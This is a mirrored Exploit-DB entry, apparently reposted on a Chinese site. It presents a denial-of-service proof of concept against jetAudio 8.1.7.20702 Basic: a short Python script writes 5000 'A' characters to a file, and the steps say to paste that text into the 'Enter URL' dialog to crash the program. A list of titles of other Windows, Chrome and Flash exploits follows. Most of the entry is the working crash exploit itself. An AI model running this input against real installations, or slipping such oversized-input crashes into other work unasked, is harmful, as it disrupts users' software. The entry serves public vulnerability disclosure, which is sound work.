jetAudio 8.1.7.20702 Basic – ‘Enter URL’ Denial of Service (PoC)

Exploit Database
84 阅读

作者： Victor Mondragón

日期： 2019-05-08
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/46810/

#Exploit Title:jetAudio 8.1.7.20702 Basic - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-07
#Vendor Homepage: http://www.jetaudio.com/
#Software Link: http://www.jetaudio.com/download/
#Tested Version: 8.1.7.20702
#Tested on: Windows 7 Service Pack 1 x64 / Windows 10 Single Language x64

#Steps to produce the crash:
#1.- Run python code: jetAudio_8.1.7.20702.py
#2.- Open jetAudio.txt and copy content to clipboard
#2.- Open jetAudio 
#3.- Select Menu > Basic Controls > Open URL...
#4.- In "Enter URL" Paste ClipBoard after "http://" 
#5.- Click on "Ok"
#6.- Crashed

cod = "\x41" * 5000
f = open('jetAudio.txt', 'w')
f.write(cod)
f.close()

last Exploits
jetAudio 8.1.7.20702 Basic – ‘Enter URL’ Denial of Service (PoC)的更多信息

Microsoft Windows – ‘nt!NtQueryVolumeInformationFile (FileFsVolumeInformation)’ Kernel Pool Memory Disclosure：
Paint Studio 2.17 – Denial of Service (PoC)：
Avast! – Heap Overflow Unpacking MoleBox Archives：
Microsoft Windows 7 – win32k Bitmap Use-After-Free (MS16-062) (2)：
Microsoft Windows Kernel – ‘bGetRealizedBrush’ Use-After-Free (MS15-097)：
Google Chrome – ‘layout’ Out-of-Bounds Read：
SQLite Browser 2.0b1 – Local Denial of Service：
Adobe Flash Player 22.0.0.192 – TAG Memory Corruption：